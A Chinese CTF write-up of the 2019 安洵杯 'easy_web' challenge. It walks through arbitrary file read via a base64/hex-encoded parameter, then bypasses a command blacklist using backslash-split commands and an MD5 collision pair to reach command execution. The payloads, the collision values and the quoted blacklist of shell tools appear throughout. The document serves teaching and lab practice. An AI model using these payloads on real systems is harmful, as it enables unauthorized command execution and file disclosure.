[安洵杯 2019]easy_web
打开题目,啥都没得,但是在源码中说md5 is funny
,好家伙,和MD5这小崽子逃不了干系了
再看url,有两个参数
一个img参数,一个cmd
我们来分析一波,图片应该是通过参数传上来的,cmd应该就是我们来getflag的地方
1 | ?img=TXpVek5UTTFNbVUzTURabE5qYz0 |
你们看看这像什么,有大小写字母,有数字,猜测是base64,解码
1 | MzUzNTM1MmU3MDZlNjYz0 |
emmm,感觉有点似曾相识?base64再解码一次。。。
1 | 3535352e706e6630 |
回忆一下发现在这个指好像在winhex的hex代码中见过相似的,那就再试试
1 | 555.pnf0 |
emmm虽然有点落差,但也能勉强看出是555.png
……
555.png往网站一看,不就是那个熊猫图吗,那我们就可以猜测是不是都可以加密后再通过img这个参数来读取文件,我们来试试读取index.php
1 | import binascii |
index.php
==>TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
传入看看
将这一大串东东拿去base64解码得到网页源码
1 | <?php |
吼吼,代码审计来活了
1 | $file = hex2bin(base64_decode(base64_decode($_GET['img']))); |
这里就是对我们输入的img参数值解码,然后进行正则替换,因为 “^” 是在方括号内部,所以它是代表非的意思,除了这些字符以外的字符都替换为空。
后面还提示如果img参数解码后有flag,就输出一张图片,如果没有就包含文件
1 | if (preg_match("/flag/i", $file)) { |
出于好奇。。试了一下
我直接高呼内行……
下面就是正则替换掉很多字符,过滤$cmd,我们可以先用命令id测试能不能执行命令,再想绕过拿到flag。
1 | if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>";} |
过滤了一大堆东西,好像坚不可摧的亚子,但其实只是纸老虎
在开始之前先了解一个小知识点
如果要让php解释器解释出一个反斜杠,就需要使用
\\
;如果需要php解释器解释成两个反斜杠,则使用\\\\
正常情况下,我们想要用正则匹配来判断是否有反斜杠
1 >$content = 'Aha! Can you type backslash characters? Yeah! Here is a \ ';$pattern = '/\\/';$result = preg_match($pattern,$content);echo $result;但是会报错
1 >Warning: preg_match(): No ending delimiter '/' found in C:\Users\admin\Desktop\php.php on line 5HP Warning: preg_match(): No ending delimiter '/' found in C:\Users\admin\Desktop\php原因很简单,php解释器在看到$pattern的时候,会把$pattern解释成
/\/
preg_match中的第一个参数需要有一对任何非字母、数字、“\”或空格的字符作为分隔符,也就是我们最常用的
/
所以,当我们想要让正则匹配出一个\字符,则需要向php添加四个\字符,经过php解释器解释成两个\字符,再由正则解释器解释成一个字符\
了解完后我们回到题目
Linux系统的命令是可以在命令中间加上\
的 比如可以ca\t /f\lag这样 但是如果我们这样输入的话 经过正则就会变成ca\t f\lag 那么如果要过滤t 就需要\t 而巧了,题目没有,所以我们就可以这样来构造payload
但是先不急,下面还有一个点
1 | if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } |
MD5碰撞
所谓MD5碰撞就是黑客非常巧妙地构造两个不一样的二进制文件,而他们的Md5加密后的值却是相等的。导致Md5全等比较被绕过(珠海教案)
用a[]=1&b[]=2
,发现不行,测试后发现数组被强制装换为字符串后都是Array
在教案中gq师兄已经有提到一组exp
1 | a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 |
但这是url编码后的了,我们解码一下再根据题目编码加密一下
1 | a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 |
编码
1 | $a = '%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2';$b = '%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2';$c = urldecode($a);$d = urldecode($b);var_dump($c);echo "<br>";var_dump($d);echo "<br>";var_dump(md5($c));var_dump(md5($d));if (((string)$c !== (string)$d && md5($c) === md5($d))){ print('yes'); } else { print("no"); } |
后面就easy了,抓包,POST传参,查看目录,cat flag
这里可以用dir
也可以用l\s
绕过